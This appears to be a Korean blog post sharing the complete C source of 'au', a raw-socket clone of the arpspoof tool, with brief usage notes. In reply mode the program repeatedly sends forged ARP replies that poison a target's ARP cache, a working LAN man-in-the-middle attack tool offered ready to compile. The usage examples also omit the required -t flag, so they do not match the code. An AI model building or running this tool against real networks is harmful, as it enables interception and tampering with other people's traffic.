arpspoof가 libnet과 libpcap이 필요해서 그냥 한번 raw socket으로만으로 되게 만들어봤습니다.
사용법은
au [-r] -i <ethernet interface> -t <target ip> <source ip>
exam) au -i eth0 192.168.0.10 192.168.0.5 : ARP REQUEST
사용법은
au [-r] -i <ethernet interface> -t <target ip> <source ip>
exam) au -i eth0 192.168.0.10 192.168.0.5 : ARP REQUEST
au -r -i eth0 192.168.0.10 192.168.0.1 : ARP REPLY
// au.c // gcc -o au au.c // auther : http://fehead.tistory.com #include <stdio.h> #include <sys/socket.h> #include <net/if.h> #include <net/if_arp.h> #include <linux/if_ether.h> #include <linux/if_packet.h>// struct sockaddr_ll #include <sys/ioctl.h> // struct ifreq #include <strings.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <stdlib.h> #include <signal.h> typedef unsigned char uchar; typedef unsigned short ushort; // ethernet frame header. struct eth_hdr { uchar h_dest[6]; // destination ether addr uchar h_source[6]; // source ether addr ushort h_proto; // packet type ID field } __attribute__((packed)); static const int ETHERNET_SIZE = sizeof(struct eth_hdr); // ARP header struct arp_hdr { ushort ar_hrd; // Hardware type : ethernet ushort ar_pro; // Protocol : IP uchar ar_hln; // Hardware size uchar ar_pln; // Protocal size ushort ar_op; // Opcode replay uchar ar_sha[6]; // Sender MAC uchar ar_sip[4]; // Sender IP uchar ar_tha[6]; // Target mac uchar ar_tip[4]; // Target IP } __attribute__((packed)); static const int ARP_SIZE = sizeof(struct arp_hdr); static uchar g_buf[sizeof(struct eth_hdr)+sizeof(struct arp_hdr)]; static const char * g_source_ip = NULL; static const char * g_interface = NULL; static int g_sock = -1; // dumps raw memory in hex byte and printable split format void dump(const uchar *data_buffer, const unsigned int length) { uchar byte; unsigned int i, j; for(i=0; i < length; i++) { byte = data_buffer[i]; printf("%02x ", data_buffer[i]); // display byte in hex if(((i%16)==15) || (i==length-1)) { for(j=0; j < 15-(i%16); j++) printf(" "); printf("| "); for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line byte = data_buffer[j]; if((byte > 31) && (byte < 127)) // outside printable char range printf("%c", byte); else printf("."); } printf("\n"); // end of the dump line (each line 16 bytes) } // end if } // end for } // get interface mac addr. // exam) interface2mac("eth0", buf); // return : 1 success // : 0 failure int interface2mac(const char * interface, uchar * mac) { int fd = socket(PF_INET, SOCK_STREAM, 0); if(fd == -1) { perror("socket"); return 0; } struct ifreq iflist; bzero(&iflist, sizeof(iflist)); strncpy(iflist.ifr_name, interface, sizeof(iflist.ifr_name)); if(ioctl(fd, SIOCGIFHWADDR, &iflist) == -1) { perror("ioctl failed"); return 0; } struct sockaddr * sa = &iflist.ifr_hwaddr; memcpy(mac, sa->sa_data, 6); close(fd); #ifdef _DEBUG printf("interface2mac: %s\n", interface); dump(mac, 6); #endif // _DEBUG return 1; } // get mac address to arp cash. // exam) get_arp_to_arpcash(ip) // return : 1 success // : 0 failure int get_arp_to_arpcash(unsigned long ip) { int fd = 0; if((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) return 0; struct sockaddr_in sin; bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = ip; sin.sin_port = htons(67); int i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin)); close(fd); return (i == 0); } // get MAC address from ip, interface // exam) arp_cash_lookup("eth0", ip, buf) // return : 1 success // : 0 failure int arp_cash_lookup(const char * interface, unsigned long ip, uchar * mac) { int sock = 0; struct arpreq ar; struct sockaddr_in * sin = 0; bzero(&ar, sizeof(ar)); strncpy(ar.arp_dev, interface, sizeof(ar.arp_dev)); sin = (struct sockaddr_in *)&ar.arp_pa; sin->sin_family = AF_INET; sin->sin_addr.s_addr = ip; if((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) return 0; if(ioctl(sock, SIOCGARP, (caddr_t)&ar) == -1) { close(sock); return 0; } close(sock); memcpy(mac, ar.arp_ha.sa_data, 6); return 1; } // string to mac address // exam) "01:02:03:0d:0e:0f" --> "\x01\x02\0x03\x0d\x0e\x0f" // return : 1 success // : 0 failure int str2mac(const char * str_mac, uchar * mac) { int ret = sscanf(str_mac, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5]); #ifdef _DEBUG int i = 0; printf("MAC : "); for(i = 0 ; i < 6 ; ++i) printf("%hhx:", mac[i]); printf("\n"); #endif // _DEBUG return ret; } // string to ip. // exam) "192.168.0.1" --> "\xc0\xa8\x00\x01" // return : 1 success // : 0 failure int str2ip(const char * str_ip, uchar * ip) { int ret = sscanf(str_ip, "%hhu.%hhu.%hhu.%hhu", &ip[0], &ip[1], &ip[2], &ip[3]); #ifdef _DEBUG int i = 0; printf("IP : "); for(i = 0 ; i < 4 ; ++i) printf("%hhu.", ip[i]); printf("\n"); #endif // _DEBUG return ret; } // convert ip to mac address // exam) ip2mac("eth0", "192.168.0.10", buf); // return : 1 success // : 0 failure int ip2mac(const char * intf, const char * str_ip, uchar * mac) { int i = 0; unsigned int ip = 0; if(str2ip(str_ip, (uchar *)&ip) == 0) return 0; do { if(arp_cash_lookup(intf, ip, mac) == 1) { #ifdef _DEBUG printf("ip2mac: %s\n", str_ip); dump(mac, 6); #endif // _DEBUG return 1; } get_arp_to_arpcash(ip); sleep(1); } while(i++ < 3); return 0; } // init arp packet. void init_packet(struct eth_hdr * e, struct arp_hdr * a, int reply) { bzero(e, sizeof(*e)); memset(e->h_dest, 0xff, sizeof(e->h_dest)); e->h_proto = htons(0x0806); // ARP protocol bzero(a, sizeof(*a)); a->ar_hrd = htons(0x0001); // Ethernet 10/100Mbps. a->ar_pro = htons(0x0800); // IP protocol a->ar_hln = 6; // hardware len a->ar_pln = 4; // protocol len if(reply == 1) a->ar_op = htons(0x0002); // 1 :request, 2 :reply else a->ar_op = htons(0x0001); // 1 :request, 2 :reply #ifdef _DEBUG printf("init_packet Ethernet Header:\n"); dump((uchar *)e, sizeof(*e)); printf("init_packet ARP Header:\n"); dump((uchar *)a, sizeof(*a)); #endif // _DEBUG } // create rawsocket. // exam) rawsocket("eth0") // return -1 : failure. // 0 <= : success. int rawsocket(const char * interface) { int fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if(fd == -1) { perror("socket create:"); return -1; } struct ifreq ifr; bzero(&ifr, sizeof(ifr)); // select network interface ex) "eth0" strcpy((char *)ifr.ifr_name, interface); if(ioctl(fd, SIOCGIFINDEX, &ifr) == -1) { perror("error getting interface index\n"); close(fd); return -1; } struct sockaddr_ll sll; bzero(&sll, sizeof(sll)); sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; sll.sll_protocol = htons(ETH_P_ALL); if(bind(fd, (struct sockaddr*)&sll, sizeof(sll)) == -1) { perror("Error binding raw socket to interface\n"); close(fd); return -1; } return fd; } void sig_cleanup(int signo) { printf("clean up\n"); struct eth_hdr * ether = (struct eth_hdr *)g_buf; struct arp_hdr * arp = (struct arp_hdr *)(g_buf+ETHERNET_SIZE); uchar source_mac[6] = { 0, }; if(g_sock != -1 && ip2mac(g_interface, g_source_ip, source_mac) == 1) { // set source mac to original mac address memcpy(ether->h_source, source_mac, 6); memcpy(arp->ar_sha, source_mac, 6); int i = 0; for(i = 0 ; i < 3 ; ++i) { write(g_sock, g_buf, ETHERNET_SIZE+ARP_SIZE); sleep(1); } close(g_sock); } exit(0); } void usage() { printf( "au [-r] -i <ethernet interface> -t <target ip> <source ip>\n" " exam) au -i eth0 192.168.0.10 192.168.0.5 : ARP REQUEST\n" " au -r -i eth0 192.168.0.10 192.168.0.1 : ARP REPLY\n"); exit(1); } // au -i eth0 -t 192.168.0.10 192.168.0.1 int main(int argc, char * argv[]) { const char * target_ip = NULL; int reply = 0; // ARP reply g_interface = "eth0"; int c = 0; while((c = getopt(argc, argv, "ri:t:")) != -1) { switch(c) { case 'i': g_interface = optarg; break; case 't': target_ip = optarg; break; case 'r': // ARP REPLY reply = 1; break; default: usage(); } } argc -= optind; argv += optind; if(argc != 1) usage(); g_source_ip = argv[0]; bzero(g_buf, sizeof(g_buf)); struct eth_hdr * ether = (struct eth_hdr *)g_buf; struct arp_hdr * arp = (struct arp_hdr *)(g_buf+ETHERNET_SIZE); init_packet(ether, arp, reply); if(interface2mac(g_interface, ether->h_source) == 0 || ip2mac(g_interface, target_ip, ether->h_dest) == 0 || str2ip(g_source_ip, arp->ar_sip) == 0 || str2ip(target_ip, arp->ar_tip) == 0) { usage(); } if(reply) { // ether->h_source == my mac OK // ether->h_dest == target mac OK // arp->ar_sha == my mac memcpy(arp->ar_sha, ether->h_source, sizeof(arp->ar_sha)); // arp->ar_sip == source ip OK // arp->ar_tha == target mac memcpy(arp->ar_tha, ether->h_dest, sizeof(arp->ar_tha)); // arp->ar_tip == target ip OK } else { // ether->h_source == my mac OK // ether->h_dest == "\xff\xff\xff\xff\xff\xff" memset(ether->h_dest, 0xff, 6); // arp->ar_sha == my mac memcpy(arp->ar_sha, ether->h_source, sizeof(arp->ar_sha)); // arp->ar_sip == my ip OK source ip is my ip // arp->ar_tha == "\x00\x00\x00\x00\x00\x00" memset(arp->ar_tha, 0, 6); // arp->ar_tip == target ip OK signal(SIGINT, &sig_cleanup); } #ifdef _DEBUG printf("Ethernet Header:\n"); dump((uchar *)ether, sizeof(*ether)); printf("ARP Header:\n"); dump((uchar *)arp, sizeof(*arp)); #endif // _DEBUG // create rawsocket g_sock = rawsocket(g_interface); if(g_sock == -1) return 1; for(;;) { putchar('.'); fflush(stdout); if(write(g_sock, g_buf, ETHERNET_SIZE+ARP_SIZE) < 1) { perror("write"); break; } if(reply != 1) break; sleep(2); } close(g_sock); return 0; }